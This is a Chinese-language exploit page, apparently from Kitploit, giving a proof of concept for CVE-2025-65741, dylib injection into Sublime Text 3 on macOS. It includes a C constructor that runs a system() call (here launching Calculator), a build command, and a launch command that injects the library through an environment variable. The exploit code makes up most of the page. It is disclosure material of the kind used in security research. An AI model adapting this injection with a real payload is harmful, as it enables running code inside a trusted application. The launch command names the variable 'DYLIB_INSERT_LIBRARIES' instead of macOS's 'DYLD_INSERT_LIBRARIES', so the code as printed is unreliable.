CVE-2025-65741 — Proof-of-concept for CVE-2025-65741 demonstrating dylib injection in Sublime Text 3 on macOS via unsigned code, with a compiled .dylib payload and exploitation steps. | Kitploit

CVE-2025-65741 - macOS 上 Sublime Text 3 存在 Dylib 注入漏洞

下载地址：https://www.sublimetext.com/3
CVE：CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
作者：Vinicius Batistella
影响版本：Sublime Text 3 Build 3208 及更早版本（macOS）

详情

Sublime Text 应用未能正确检查未签名的代码注入，攻击者可以编译一个 .dylib 库并强制该应用在应用上下文中运行它。以下示例中，Sublime Text 被强制打开了计算器二进制程序。该漏洞已在 Build 3209 及后续版本中修复。

PoC

按如下方式编译以下 C 代码：

#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
	printf("[+] Dynalic Library Injection: %s\n", argv[0]);
	system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}

gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib

然后，按如下方式针对 Sublime Text 3 构建版本 3208 或更早版本运行：

DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text